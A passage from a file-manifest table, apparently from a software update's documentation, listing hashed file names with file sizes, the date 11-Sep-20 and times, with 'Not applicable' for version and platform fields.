0:10| Not applicable| SP. \nFil789b96ff5e7f5c36651793db27c8b262| Not applicable| 156,482| 11-Sep-20| 0:10| Not applicable| SP. \nFil7975d5410f26d07f08de47940983d903| Not applicable| 11,720| 11-Sep-20| 0:10| Not applicable| SP. \nFil798d3f63fe34287c86fffb74428a321a| Not applicable| 298,444| 11-Sep-20| 0:11| Not applicable| SP. \nFil79b13a2c33d13735946561479fc859fa| Not applicable| 133,726| 11-Sep-20| 0:11| Not applicable| SP. \nFil79c7a259268acf783baef95ca5b23ec1| Not applicable| 152,767| 11-Sep-20| 0:07| Not applicable| SP. \nFil7a2063c960c5cb61395e7839f1297cb5| Not applicable| 4,115| 11-Sep-20| 0:10| Not applicable| SP. \nFil7a403fcd3c2773230c350d8e1d3cebf7| Not applicable| 104,032| 11-Sep-20| 0:03| Not applicable| SP. \nFil7a9f06943db3abcb09bf15ae13ff2cd2| Not applicable| 137,922| 11-Sep-20| 0:08| Not applicable| SP. \nFil7b670339ef54eea40a7516c12d2f0e92| Not applicable| 486,258| 11-Sep-20| 0:08| Not applicable| SP. \nFil7b9dcb919f1fd2e3a1f6f379fbfaeef0| Not applicable| 165,327| 11-Sep-20| 0:09| Not applicable| SP. \nFil7bc288d1803d8c01d917d4ae3424dd04| Not applicable| 371,056| 11-Sep-20| 0:10| Not applicable| SP. \nFil7be03a57aa609693fcd744981699f067| Not applicable| 214,670| 11-Sep-20| 0:10| Not applicable| SP. \nFil7cd60b323924095924a33c83b8160967| Not applicable| 515,462| 11-Sep-20| 0:08| Not applicable| SP. \nFil7cddc3f217fc9bd77c3335a3bbe74040| Not applicable| 316,645| 11-Sep-20| 0:10| Not applicable| SP. \nFil7d3d44cb179d947736c393335bc1d8a5| Not applicable| 323,379| 11-Sep-20| 0:08| Not applicable| SP. \nFil7e1364e8b092a71503bb6ab4c0c8d043| Not applicable| 317,812| 11-Sep-20| 0:10| Not applicable| SP. \nFil7f88ed25a2323690ef4603fcd5965e29| Not applicable| 146,052| 11-Sep-20| 0:08| Not applicable| SP. \nFil7fc67e0ea132a46fa0c81ae793c6fafb| Not applicable| 1,751| 11-Sep-20| 0:10| Not applicable| SP. \nFil7ffa598af3dc4eba6484cfca34eff091| Not applicable| 487,790| 11-Sep-20| 0:10| Not applicable| SP. \nFil7fffbc3b910469a09b1d0670696bd038| Not applicable| 298,276| 11-Sep-20| 0:09| Not applicable| SP. \nFil802e831d6cd841b23e31f3ede7146efa| Not applicable| 160,374| 11-Sep-20| 0:09| Not applicable| SP. \nFil8032f47eeca48977d2f693f7644627ce| Not applicable| 123,440| 11-Sep-20| 0:08| Not applicable| SP. \nFil809e41480ae24ce8f65630fb91e72e3e| Not applicable| 191,320| 11-Sep-20| 0:10| Not applicable| SP. \nFil819cef16705be45debd0be4d68755dbb| Not applicable| 22,679| 11-Sep-20| 0:10| Not applicable| SP. \nFil819e4ee2c73b6dac7c9b217a2edccf64| Not applicable| 10,875| 11-Sep-20| 0:10| Not applicable| SP. \nFil81c79182b21820eb762d4cc2ac59769f| Not applicable| 165,056| 11-Sep-20| 0:08| Not applicable| SP. \nFil828666eab0d3bdc61f9fe757bd60e3a2| Not applicable| 375,074| 11-Sep-20| 0:09| Not applicable| SP. \nFil832eb962b387b4e7631ffa4158cb28cc| Not applicable| 14,837| 11-Sep-20| 0:10| Not applicable| SP. \nFil851524c7c4958c3155502d781c920d9b| Not applicable| 81,295| 11-Sep-20| 0:10| Not applicable| SP. \nFil86eb489656c398a89c25641e80f48303| Not applicable| 121,319| 11-Sep-20| 0:09| Not applicable| SP. \nFil86fd0667d62cefa2ae6e49f317434bd6| Not applicable| 384,644| 11-Sep-20| 0:08| Not applicable| SP. \nFil88ec4eef108486342f6b6921bccaea93| Not applicable| 943,740| 11-Sep-20| 0:12| Not applicable| SP. \nFil89331bf5c45adb0d8a8ea178cc079709| Not applicable| 300,269| 11-Sep-20| 0:08| Not applicable| SP. \nFil8a10c1556c031a0905905396871c93f7| Not applicable| 310,330| 11-Sep-20| 0:09| Not applicable| SP. \nFil8b153dea503da810e5e578642a5c28fe| Not applicable| 3,822| 11-Sep-20| 0:10| Not applicable| SP. \nFil8c35bfdd38d7db1a373ae3b3a87a84b5| Not applicable| 164,030| 11-Sep-20| 0:09| Not applicable| SP. \nFil8cbd0cddb9a1705309ebeabfe75fe38a| Not applicable| 319,024| 11-Sep-20| 0:08| Not applicable| SP. \nFil8dc3b8e19a7e2e60f48bf22687139503| Not applicable| 3,314| 11-Sep-20| 0:10| Not applicable| SP. \nFil8e9637e486491d4df1ea670c5b33eb16| Not applicable| 3,600| 11-Sep-20| 0:10| Not applicable| SP. \nFil9007d7a068a4430d0ebefa4b039db1b4| Not applicable| 162,200| 11-Sep-20| 0:10| Not applicable| SP. \nFil9032e5295c43ed35e2cd2820ebd6af91| Not applicable| 308,546| 11-Sep-20| 0:08| Not applicable| SP. \nFil9050234bc32f4d53dcf496a54c13c1f0| Not applicable| 362,146| 11-Sep-20| 0:09| Not applicable| SP. \nFil9052d1a7df067454a5205ba61f60202c| Not applicable| 414,847| 11-Sep-20| 0:10| Not applicable| SP. \nFil907968cb2bdeead0a4c3dd51374b84f1| Not applicable| 160,076| 11-Sep-20| 0:08| Not applicable| SP. \nFil90cb08f524bc6f2fd5d5c59c9e880a3b| Not applicable| 408,856| 11-Sep-20| 0:10| Not applicable| SP. \nFil9141167468612be7f7ce04061b4ba430| Not applicable| 221,454| 11-Sep-20| 0:10| Not applicable| SP. \nFil915152e03c7027618c1570479b195120| Not applicable| 115,620| 11-Sep-20| 0:09| Not applicable| SP. \nFil9178f92f0a34fc57e83a4224c5cd4c6f| Not applicable| 123,425| 11-Sep-20| 0:10| Not applicable| SP. \nFil91b888a87f12e84cd76b09d8a8239110| Not applicable| 317,225| 11-Sep-20| 0:10| Not applicable| SP. \nFil922f0dc015ce910e694c684667216edf| Not applicable| 85,712| 11-Sep-20| 0:10| Not applicable| SP. \nFil92839d18408beb0ccdd398fa8d63d256| Not applicable| 304,785| 11-Sep-20| 0:08| Not applicable| SP. \nFil92b9f91110f3fc68adbba7781dca69f7| Not applicable| 955,169| 11-Sep-20| 0:12| Not applicable| SP. \nFil936f4520f1f1a23512af78649723bd24| Not applicable| 1,787| 11-Sep-20| 0:10| Not applicable| SP. \nFil95c4c617e843522bcbc5f0ea98be1499| Not applicable| 494,807| 11-Sep-20| 0:10| Not applicable| SP. \nFil96195cf594115b0dbe9a6f0231ef1047| Not applicable| 313,299| 11-Sep-20| 0:09| Not applicable| SP. \nFil963c3ba8ce3369f28a234d725b21bc1c| Not applicable| 4,281| 11-Sep-20| 0:10| Not applicable| SP. \nFil9650173f54879818e5ec095eeb16ed0b| Not applicable| 396,015| 11-Sep-20| 0:08| Not applicable| SP. \nFil966154a8118d7385953a6d219e5eb17c| Not applicable| 1,414| 11-Sep-20| 0:10| Not applicable| SP. \nFil969cef7f118d3f325203fd0cb688b9ec| Not applicable| 2,110,683| 11-Sep-20| 0:07| Not applicable| SP. \nFil96d73a0c451e93f8ea3773e8fe0fbbfc| Not applicable| 33,811| 11-Sep-20| 0:11| Not applicable| SP. \nFil972290622741630c40e4aa0864c01aa4| Not applicable| 1,616| 11-Sep-20| 0:10| Not applicable| SP. \nFil97937f8123552bc8e9d12b174086d31c| Not applicable| 469,857| 11-Sep-20| 0:08| Not applicable| SP. \nFil97cbf02bb228d8da0527ece430405ab2| Not applicable| 301,969| 11-Sep-20| 0:09| Not applicable| SP. \nFil986b652b14f678fe052fed9bba96162e| Not applicable| 163,883| 11-Sep-20| 0:08| Not applicable| SP. \nFil98ef484ce7150b406e3016cd9924d142| Not applicable| 13,961| 11-Sep-20| 0:10| Not applicable| SP. \nFil9956a513417bb5463e0ba651a166baf0| Not applicable| 514,510| 11-Sep-20| 0:09| Not applicable| SP. \nFil9ad3820a6c3baa899d30b5c2befddb0f| Not applicable| 501,780| 11-Sep-20| 0:09| Not applicable| SP. \nFil9bc19d53264a55a58e5f699c80356bb2| Not applicable| 1,818| 11-Sep-20| 0:10| Not applicable| SP. \nFil9be11b2ba300199597d09229eada5f26| Not applicable| 14,295| 11-Sep-20| 0:10| Not applicable| SP. \nFil9c53e682ec387e24b826b5f20d0d7744| Not applicable| 258,852| 11-Sep-20| 0:09| Not applicable| SP. \nFil9cc47a8297b69ca8b92c5c5fbc5a72a9| Not applicable| 146,219| 11-Sep-20| 0:09| Not applicable| SP. \nFil9d179c67312a815f3d90f05dd98d935f| Not applicable| 295,260| 11-Sep-20| 0:08| Not applicable| SP. \nFil9d3115e00dd3480f86694eb0171e2ab7| Not applicable| 147,427| 11-Sep-20| 0:08| Not applicable| SP. \nFil9de60681dee78970a404d53a64af2f30| Not applicable| 16,604| 11-Sep-20| 0:10| Not applicable| SP. \nFil9e9c8fdc13f8e3438936117f467c32f2| Not applicable| 3,647| 11-Sep-20| 0:10| Not applicable| SP. \nFil9ea96f90dc98136d2990b368e30cba7f| Not applicable| 314,432| 11-Sep-20| 0:08| Not applicable| SP. \nFil9ef7a49aadd91bd2e7723a793c4ececa| Not applicable| 196,624| 11-Sep-20| 0:07| Not applicable| SP. \nFil9f4a9c9c0df85e4de8cef75ad843a4bf| Not applicable| 853| 11-Sep-20| 0:10| Not applicable| SP. \nFil9fa4d749b570205397f22bb7798f1ad8| Not applicable| 191,467| 11-Sep-20| 0:07| Not applicable| SP. \nFil9fb5c95485bb8d9d33d5f93c5aaf64b2| Not applicable| 16,227| 11-Sep-20| 0:10| Not applicable| SP. \nFil9fecbd76d57255e27cc95507f3aaab07| Not applicable| 329,540| 11-Sep-20| 0:10| Not applicable| SP. \nFila2743c24f7094b33d0d4449897c866a6| Not applicable| 119,408| 11-Sep-20| 0:08| Not applicable| SP. \nFila2f6a440343bc9ff6660fce140eadd2d| Not applicable| 448,596| 11-Sep-20| 0:08| Not applicable| SP. \nFila505629643c3e008b8bd0e23a5c4e25d| Not applicable| 413,212| 11-Sep-20| 0:09| Not applicable| SP. \nFila50b2e8bd5431612810b0fcf988a1828| Not applicable| 209,253| 11-Sep-20| 0:11| Not applicable| SP. \nFila5363cc509db7b571c6c4c3cd9062471| Not applicable| 208,443| 11-Sep-20| 0:10| Not applicable| SP. \nFila57f8bbbe3218e6ecf4f4d70668de2dc| Not applicable| 314,531| 11-Sep-20| 0:08| Not applicable| SP. \nFila62c0ced269195777d4d83700b448c00| Not applicable| 380,561| 11-Sep-20| 0:08| Not applicable| SP. \nFila702279a2573d1ed8f2fcdee9713c0dd| Not applicable| 209,728| 11-Sep-20| 0:09| Not applicable| SP. \nFila8ced4b496da09516e99919d4eaf64f6| Not applicable| 159,063| 11-Sep-20| 0:08| Not applicable| SP. \nFila8f5e5a43d97dfb60f41dfc1b8459851| Not applicable| 508,891| 11-Sep-20| 0:08| Not applicable| SP. \nFila913026b0e770b0a0f627ace5a752454| Not applicable| 322,902| 11-Sep-20| 0:09| Not applicable| SP. \nFilaac5e88adcaaf27436c416aa7a0165bd| Not applicable| 249,029| 11-Sep-20| 0:09| Not applicable| SP. \nFilab134bb61b2e10157e892c40df3c7e86| Not applicable| 159,193| 11-Sep-20| 0:09| Not applicable| SP. \nFilab5e2407151586fb17aa6a5e23983146| Not applicable| 380,417| 11-Sep-20| 0:07| Not applicable| SP. \nFilab7106fec6a571b081793e6fd0772840| Not applicable| 324,317| 11-Sep-20| 0:10| Not applicable| SP. \nFilab84c7b0ea2c18151bdec3362357de28| Not applicable| 382,607| 11-Sep-20| 0:10| Not applicable| SP. \nFilacb3fe0c456bdeb57f38467806292a12| Not applicable| 169,689| 11-Sep-20| 0:08| Not applicable| SP. \nFilad3a7da52bfdbcdc556e7afee04e466d| Not applicable| 370,571| 11-Sep-20| 0:09| Not applicable| SP. \nFilae12f186604e1e9a1564f0bd8d3f02d3| Not applicable| 422,675| 11-Sep-20| 0:11| Not applicable| SP. \nFilaef6c0ddd04caa6d726d5335dd817311| Not applicable| 202,927| 11-Sep-20| 0:10| Not applicable| SP. \nFilafc694642ba5b6098760517160b0e8bf| Not applicable| 157,170| 11-Sep-20| 0:08| Not applicable| SP. \nFilafe4ec5e5c84f4cbbd605478cefc5629| Not applicable| 3,090| 11-Sep-20| 0:10| Not applicable| SP. \nFilb0d5f04a53228a377d15814c78465b27| Not applicable| 669| 11-Sep-20| 0:10| Not applicable| SP. \nFilb20b3cc21a25081a4bca14731ed24d46| Not applicable| 4,473| 11-Sep-20| 0:10| Not applicable| SP. \nFilb2511eb8cb15578d5607802d13cb5c4f| Not applicable| 160,204| 11-Sep-20| 0:11| Not applicable| SP. \nFilb2d8808ed734ba4cdde6c0bb616a5918| Not applicable| 234,774| 11-Sep-20| 0:09| Not applicable| SP. \nFilb38126b47351a15bc93f1845dc8aba35| Not applicable| 326,044| 11-Sep-20| 0:09| Not applicable| SP. \nFilb3ecb6b553aa136a95f785fae49b7290| Not applicable| 318,445| 11-Sep-20| 0:09| Not applicable| SP. \nFilb4e11fab484f7e28061acd0a0b998b2b| Not applicable| 297,352| 11-Sep-20| 0:09| Not applicable| SP. \nFilb52f287490a4bf46c9cead71b6c6d32f| Not applicable| 377,427| 11-Sep-20| 0:10| Not applicable| SP. \nFilb6922820d7c8951d2c0a274c0247a024| Not applicable| 929| 11-Sep-20| 0:10| Not applicable| SP. \nFilb7953f6142a677d96f918f4748d335e8| Not applicable| 142,609| 11-Sep-20| 0:10| Not applicable| SP. \nFilb7980f151e3ac5df2176c1c9232a3a97| Not applicable| 422,398| 11-Sep-20| 0:10| Not applicable| SP. \nFilb7ebe5ea802d62f201cecf33058afa68| Not applicable| 158,931| 11-Sep-20| 0:10| Not applicable| SP. \nFilb94ca32f2654692263a5be009c0fe4ca| Not applicable| 218,643| 11-Sep-20| 0:12| Not applicable| SP. \nFilbaada6b445e5d018d30bae5f55810cbb| Not applicable| 11,531| 11-Sep-20| 0:10| Not applicable| SP. \nFilbac509fa0e072d1cea52129ba1408636| Not applicable| 5,470| 11-Sep-20| 0:10| Not applicable| SP. \nFilbae1886423fa60040987b70277c99a66| Not applicable| 212,585| 11-Sep-20| 0:10| Not applicable| SP. \nFilbaee23394142e54df188a3681e7b00e0| Not applicable| 588,271| 11-Sep-20| 0:09| Not applicable| SP. \nFilbb4be32d89ad2d104df2959499c2c5dd| Not applicable| 424,381| 11-Sep-20| 0:10| Not applicable| SP. \nFilbc0374f21dbcf9dcd43948267292d827| Not applicable| 151,684| 11-Sep-20| 0:09| Not applicable| SP. \nFilbce863d9e87e78f7b216f9063068fd70| Not applicable| 13,803| 11-Sep-20| 0:10| Not applicable| SP. \nFilbe0b71d79825d6251a88a486de2a0fae| Not applicable| 175,794| 11-Sep-20| 0:08| Not applicable| SP. \nFilbe5c25571628b164d9b0abeae72c357a| Not applicable| 14,488| 11-Sep-20| 0:03| Not applicable| SP. \nFilbe8804efe450de6f32592158385173af| Not applicable| 162,776| 11-Sep-20| 0:09| Not applicable| SP. \nFilbec2fefb4339db1cb2a2a81c626af5b8| Not applicable| 148,912| 11-Sep-20| 0:10| Not applicable| SP. \nFilbf439d900d8e8c938a91453ceef33748| Not applicable| 385,061| 11-Sep-20| 0:10| Not applicable| SP. \nFilbfe5e54bbcd75097a2290bb9ffbf9129| Not applicable| 158,084| 11-Sep-20| 0:09| Not applicable| SP. \nFilbfebb0e9f43c859d9b0a3079fb790dca| Not applicable| 140,997| 11-Sep-20| 0:08| Not applicable| SP. \nFilc0360124072910524d4b1e78f11ea314| Not applicable| 149,305| 11-Sep-20| 0:10| Not applicable| SP. \nFilc070c10edde57f91e2b923f53638b156| Not applicable| 122,287| 11-Sep-20| 0:09| Not applicable| SP. \nFilc0a74236d5938545f3dd0d2e81fe5145| Not applicable| 609,713| 11-Sep-20| 0:09| Not applicable| SP. \nFilc1246ec6443f5fdece97bee947f338b8| Not applicable| 163,350| 11-Sep-20| 0:08| Not applicable| SP. \nFilc166412dec3b545aa718384ccdc0c3d1| Not applicable| 22,512| 11-Sep-20| 0:10| Not applicable| SP. \nFilc244723fb935bd0d0901b33c0fa3fef4| Not applicable| 309,279| 11-Sep-20| 0:09| Not applicable| SP. \nFilc2f5ff7a8957ea0ec0b802705b42e323| Not applicable| 166,161| 11-Sep-20| 0:08| Not applicable| SP. \nFilc320fdef8521e5bb17a5c121a74e650e| Not applicable| 305,137| 11-Sep-20| 0:11| Not applicable| SP. \nFilc3e271840e8b5de0e4ed893a9b69de17| Not applicable| 82,108| 11-Sep-20| 0:10| Not applicable| SP. \nFilc3f3571f7d40d7ad31bcbde165570280| Not applicable| 7,684| 11-Sep-20| 0:10| Not applicable| SP. \nFilc42459f85335dc5b0e754ebf75734c79| Not applicable| 118,946| 11-Sep-20| 0:10| Not applicable| SP. \nFilc4ab4e05a6193193ef464c60fae6cbd7| Not applicable| 120,705| 11-Sep-20| 0:09| Not applicable| SP. \nFilc5ae06f5615759f92b67380884df008e| Not applicable| 117,623| 11-Sep-20| 0:10| Not applicable| SP. \nFilc5c55afa5d74d23f6b65f3216e37d317| Not applicable| 1,526| 11-Sep-20| 0:10| Not applicable| SP. \nFilc786628612d2b1a245c8c71b29c30be3| Not applicable| 398,338| 11-Sep-20| 0:09| Not applicable| SP. \nFilc830aa3bd6a85d79ebf456c5e64b8035| Not applicable| 379,187| 11-Sep-20| 0:09| Not applicable| SP. \nFilc8e516689a540bc63bb961f4097b7e57| Not applicable| 160,137| 11-Sep-20| 0:10| Not applicable| SP. \nFilc8e6da9f10502e8ad2295645fd80d4e5| Not applicable| 121,496| 11-Sep-20| 0:08| Not applicable| SP. \nFilc96a599a80f3de2e07c515d63158e572| Not applicable| 330,578| 11-Sep-20| 0:10| Not applicable| SP. \nFilc9c9f098bfe576e332d5448e341d7275| Not applicable| 153,366| 11-Sep-20| 0:08| Not applicable| SP. \nFilca014992a789c86d642b1454a84b0471| Not applicable| 375,852| 11-Sep-20| 0:08| Not applicable| SP. \nFilca135d6cdf9927dde76343b8e7366baf| Not applicable| 162,198| 11-Sep-20| 0:10| Not applicable| SP. \nFilca3d26a73693291377b5eed5ddcaa0f1| Not applicable| 161,841| 11-Sep-20| 0:10| Not applicable| SP. \nFilcac638de4b1f902ff58a662d4dac3d29| Not applicable| 56,854| 11-Sep-20| 0:07| Not applicable| SP. \nFilcb5fa00024c3bc85ae7c993808e1b884| Not applicable| 120,208| 11-Sep-20| 0:09| Not applicable| SP. \nFilcc0fdd022d9f5d8bc8ec46b80403d2e2| Not applicable| 1,589| 11-Sep-20| 0:10| Not applicable| SP. \nFilcc30666b183d540fe06d8954d0f2413b| Not applicable| 3,297| 11-Sep-20| 0:10| Not applicable| SP. \nFilcc721cc9dd7ee55eb0e0698f712731d7| Not applicable| 2,003,228| 11-Sep-20| 0:07| Not applicable| SP. \nFilccbc2448b8815f8b825a84cc78bb511c| Not applicable| 11,405| 11-Sep-20| 0:10| Not applicable| SP. \nFilcd270becc68f50bf28755be77714be9e| Not applicable| 394,132| 11-Sep-20| 0:10| Not applicable| SP. \nFilcd886455496c5ec1862cf4aa506be262| Not applicable| 117,895| 11-Sep-20| 0:08| Not applicable| SP. \nFilcddc4ce9e9c46991c0b22e91ba3704ba| Not applicable| 160,587| 11-Sep-20| 0:10| Not applicable| SP. \nFilcff1dd14fb439fc7e9daa9dcb3e116c5| Not applicable| 12,932| 11-Sep-20| 0:10| Not applicable| SP. \nFild034d7905a9a668488c8afd111f03890| Not applicable| 317,800| 11-Sep-20| 0:11| Not applicable| SP. \nFild134087dcd6c80d2440a6f01ca531d43| Not applicable| 274,174| 11-Sep-20| 0:09| Not applicable| SP. \nFild14c12465bfbd20e37f23e7a26295b48| Not applicable| 365,935| 11-Sep-20| 0:07| Not applicable| SP. \nFild1b8d036a9c84b39ee432dce4f6d746f| Not applicable| 139,345| 11-Sep-20| 0:09| Not applicable| SP. \nFild22b63170e5bf9a8ba95b20e77f6931a| Not applicable| 121,042| 11-Sep-20| 0:10| Not applicable| SP. \nFild303b30a374c6671b361236e01f4b5cf| Not applicable| 164,590| 11-Sep-20| 0:10| Not applicable| SP. \nFild4549c48b4b688ecc880a1f283799d3f| Not applicable| 498,379| 11-Sep-20| 0:09| Not applicable| SP. \nFild4b4f55d65650fb68d8ae661f35a6cf3| Not applicable| 310,507| 11-Sep-20| 0:09| Not applicable| SP. \nFild4cd251093d729f1a42047080c2778eb| Not applicable| 306,546| 11-Sep-20| 0:08| Not applicable| SP. \nFild51a17d6f91520b346fc51bc3328726b| Not applicable| 145,877| 11-Sep-20| 0:11| Not applicable| SP. \nFild59daa81d7473621e57441d6ea0f15c0| Not applicable| 194,497| 11-Sep-20| 0:10| Not applicable| SP. \nFild5bfe2feae3b6b40e6b16de030127c67| Not applicable| 155,310| 11-Sep-20| 0:10| Not applicable| SP. \nFild5d8126bec59238a69351a093c4464d0| Not applicable| 3,790| 11-Sep-20| 0:10| Not applicable| SP. \nFild5f03da3e3a095d1f2b4a304a98bf729| Not applicable| 157,712| 11-Sep-20| 0:10| Not applicable| SP. \nFild68d4f36aac52c3202cf238e1f1e2964| Not applicable| 145,618| 11-Sep-20| 0:09| Not applicable| SP. \nFild7148cc0a8a831b0690ba7edff9c89fd| Not applicable| 309,585| 11-Sep-20| 0:09| Not applicable| SP. \nFild83a4ac68665cb7498564f6a2fa90824| Not applicable| 192,430| 11-Sep-20| 0:08| Not applicable| SP. \nFild84b6ccde6dad97a33cce010b6cf5541| Not applicable| 340,402| 11-Sep-20| 0:08| Not applicable| SP. \nFild87dcf579f0d9dcbe4e7662caabee77e| Not applicable| 1,363| 11-Sep-20| 0:10| Not applicable| SP. \nFild8a7c51dd3b9661c0d3937db06a0f6cc| Not applicable| 155,414| 11-Sep-20| 0:11| Not applicable| SP. \nFild9013e15b94e09b08396c315e0631a52| Not applicable| 316,058| 11-Sep-20| 0:10| Not applicable| SP. \nFild95c9ba0d427e30ab018118c4f8473b3| Not applicable| 389,600| 11-Sep-20| 0:08| Not applicable| SP. \nFilda6a4ae71e1b6b7ccfcb6a63a2127d4d| Not applicable| 1,749| 11-Sep-20| 0:10| Not applicable| SP. \nFildaad8f46b98411d7cb5457607ddc0097| Not applicable| 5,141| 11-Sep-20| 0:10| Not applicable| SP. \nFildade2b2752b156e32704242e66737bf6| Not applicable| 3,404| 11-Sep-20| 0:10| Not applicable| SP. \nFildaf7959b7c75db4261e040beb7293a13| Not applicable| 5,396| 11-Sep-20| 0:10| Not applicable| SP. \nFildb3335f7da7296c0cebb1f9dcf0a13b6| Not applicable| 166,555| 11-Sep-20| 0:10| Not applicable| SP. \nFildb508355a4e407081cba2130e65d580e| Not applicable| 327,332| 11-Sep-20| 0:08| Not applicable| SP. \nFildb5fd75c40a38a12961a5701f3dd077c| Not applicable| 11,205| 11-Sep-20| 0:08| Not applicable| SP. \nFildc8c47decc0a980dde3b8835cbb1da3b| Not applicable| 143,173| 11-Sep-20| 0:09| Not applicable| SP. \nFildcfc7c65952f1370410a552a0c3bdacb| Not applicable| 143,634| 11-Sep-20| 0:07| Not applicable| SP. \nFildd3233d5a669fbdbc6e1395b93273f67| Not applicable| 147,257| 11-Sep-20| 0:08| Not applicable| SP. \nFildd420a21b6ff581e2f8cba46cf9cfc00| Not applicable| 13,697| 11-Sep-20| 0:10| Not applicable| SP. \nFildd57d9330db1e4c1c5076183b76a0429| Not applicable| 159,581| 11-Sep-20| 0:10| Not applicable| SP. \nFilde7edfbc94e0445055094a8412075849| Not applicable| 317,167| 11-Sep-20| 0:08| Not applicable| SP. \nFildeb1eb5e06fd4f9ea01b736f7c5d3489| Not applicable| 4,463| 11-Sep-20| 0:10| Not applicable| SP. \nFildeef0cc1dbfd12d4e4898acabeb8cc0a| Not applicable| 161,351| 11-Sep-20| 0:10| Not applicable| SP. \nFildf1f940d4440482646f7e07b21c8977c| Not applicable| 400,048| 11-Sep-20| 0:10| Not applicable| SP. \nFildf479c394a62a395362bac2175f263d9| Not applicable| 154,989| 11-Sep-20| 0:08| Not applicable| SP. \nFile04ef21eb384d6ce69ac422ca5d202c8| Not applicable| 148,550| 11-Sep-20| 0:08| Not applicable| SP. \nFile09f49833cf1f2443418e2be8f1e0004| Not applicable| 3,998| 11-Sep-20| 0:10| Not applicable| SP. \nFile1425ffca08865888d2e0a662b85f22f| Not applicable| 194,027| 11-Sep-20| 0:11| Not applicable| SP. \nFile2554c88cacc807d5b821e2d2e7977e7| Not applicable| 14,799| 11-Sep-20| 0:10| Not applicable| SP. \nFile2a091148b8ca423a6f1f046e0adf881| Not applicable| 4,257| 11-Sep-20| 0:10| Not applicable| SP. \nFile3b0bd2216637faabef0676a9e81a5a6| Not applicable| 215,571| 11-Sep-20| 0:11| Not applicable| SP. \nFile3f54d4045f48da2f6084516bace3e1e| Not applicable| 163,145| 11-Sep-20| 0:09| Not applicable| SP. \nFile45d1d7c137c59f6c1ffaab0ebc51f77| Not applicable| 292,978| 11-Sep-20| 0:09| Not applicable| SP. \nFile54255e6002ed95d61afd7c75a5fa948| Not applicable| 370,103| 11-Sep-20| 0:11| Not applicable| SP. \nFile5789132b8eb5f2f7efa7697590cf45c| Not applicable| 156,176| 11-Sep-20| 0:09| Not applicable| SP. \nFile5dacfcc6f5dfff94990a84e026c4de2| Not applicable| 17,437| 11-Sep-20| 0:10| Not applicable| SP. \nFile70589c97d754e78d2fe2fed99eaebcc| Not applicable| 314,666| 11-Sep-20| 0:09| Not applicable| SP. \nFile71648118f1d0c1951edbcaa777d3a56| Not applicable| 251,235| 11-Sep-20| 0:09| Not applicable| SP. \nFile783cced0fcba1ff313575bb1ca1c68c| Not applicable| 364,541| 11-Sep-20| 0:08| Not applicable| SP. \nFile7c5afad77df85fd91512963f2fbf6e6| Not applicable| 34,450| 11-Sep-20| 0:09| Not applicable| SP. \nFile88a06b53e20b9e6752aa61d8e189c10| Not applicable| 155,990| 11-Sep-20| 0:09| Not applicable| SP. \nFile8b19ea66e7ffe68e3352d0de6ef2729| Not applicable| 407,248| 11-Sep-20| 0:10| Not applicable| SP. \nFile93062b648276336059fa449db4153a3| Not applicable| 12,123| 11-Sep-20| 0:10| Not applicable| SP. \nFilea581cb50d1d2cd077771d63c5b6dc51| Not applicable| 21,265| 11-Sep-20| 0:10| Not applicable| SP. \nFileae73d48fc92a17e014b0abe1700f303| Not applicable| 156,338| 11-Sep-20| 0:09| Not applicable| SP. \nFilec4338229af7da65b4b819322b30edda| Not applicable| 3,944| 11-Sep-20| 0:10| Not applicable| SP. \nFilec7f6fc187f8be14de5ec034c2d85229| Not applicable| 118,511| 11-Sep-20| 0:11| Not applicable| SP. \nFilecdb8669c113ce265be59f27aebb63c7| Not applicable| 201,438| 11-Sep-20| 0:08| Not applicable| SP. \nFileeb9f8d46d03aa02e3a639c1190925ca| Not applicable| 4,194| 11-Sep-20| 0:10| Not applicable| SP. \nFilefd2c6f724098d78412ccee1a36009ec| Not applicable| 367,647| 11-Sep-20| 0:10| Not applicable| SP. \nFilf0c07502f8d3141d66a6c1fd4a71ca59| Not applicable| 4,352| 11-Sep-20| 0:10| Not applicable| SP. \nFilf1324936e054d2474bba214d9e6855a0| Not applicable| 390,378| 11-Sep-20| 0:08| Not applicable| SP. \nFilf1b4b77518eb47dc1959750fec59dcdc| Not applicable| 558,426| 11-Sep-20| 0:08| Not applicable| SP. \nFilf1dbefccbfa368491a69955663586af4| Not applicable| 234,623| 11-Sep-20| 0:09| Not applicable| SP. \nFilf21ccdcd3e87189b3373cbe88465bbed| Not applicable| 160,091| 11-Sep-20| 0:08| Not applicable| SP. \nFilf257fa6642fbb757e3f26de753df4489| Not applicable| 322,187| 11-Sep-20| 0:09| Not applicable| SP. \nFilf29a31a400ab7bfd670be114c615e00e| Not applicable| 440,018| 11-Sep-20| 0:07| Not applicable| SP. \nFilf3015d007a6f5f56a11032dcd1ce8969| Not applicable| 1,875| 11-Sep-20| 0:10| Not applicable| SP. \nFilf312b9f00ef669d78efe9b0d80f99896| Not applicable| 209,647| 11-Sep-20| 0:10| Not applicable| SP. \nFilf31637de0f0a1e59a079df18e7f11f70| Not applicable| 532,038| 11-Sep-20| 0:09| Not applicable| SP. \nFilf423a2f8e32497160710c8152115c908| Not applicable| 739| 11-Sep-20| 0:10| Not applicable| SP. \nFilf4f7477b721b363112253d772077f40a| Not applicable| 44,908| 11-Sep-20| 0:10| Not applicable| SP. \nFilf57cc0e30babe3fc1f5dcf14ffe60ce6| Not applicable| 569,467| 11-Sep-20| 0:09| Not applicable| SP. \nFilf588408b53c88d5458d0bdfcabd56663| Not applicable| 162,184| 11-Sep-20| 0:08| Not applicable| SP. \nFilf5c3373f3ffd93654bd1b1876513b75f| Not applicable| 63,356| 11-Sep-20| 0:08| Not applicable| SP. \nFilf6d8842a14339881592611f23bb7b252| Not applicable| 11,215| 11-Sep-20| 0:11| Not applicable| SP. \nFilf703fe4b5a67deaaa43a5f6ec9473805| Not applicable| 510,613| 11-Sep-20| 0:10| Not applicable| SP. \nFilf7b4e504538e95c386061696b9d45120| Not applicable| 487,727| 11-Sep-20| 0:11| Not applicable| SP. \nFilf7ecfde79d2a28e873992ce54d255fa4| Not applicable| 12,496| 11-Sep-20| 0:10| Not applicable| SP. \nFilf8694f2cec5c365c0ef11b2f23dec843| Not applicable| 348,665| 11-Sep-20| 0:11| Not applicable| SP. \nFilf90a123a3d43f3927c5318df051b9542| Not applicable| 492,011| 11-Sep-20| 0:08| Not applicable| SP. \nFilf90f4fab546e82b6ef9b90297aef9ad7| Not applicable| 449,767| 11-Sep-20| 0:08| Not applicable| SP. \nFilf992eef20268ccc0eb06557927ff1afd| Not applicable| 1,226| 11-Sep-20| 0:10| Not applicable| SP. \nFilf9a6877dcf00a67a311f48dad50b7e9b| Not applicable| 62,482| 11-Sep-20| 0:08| Not applicable| 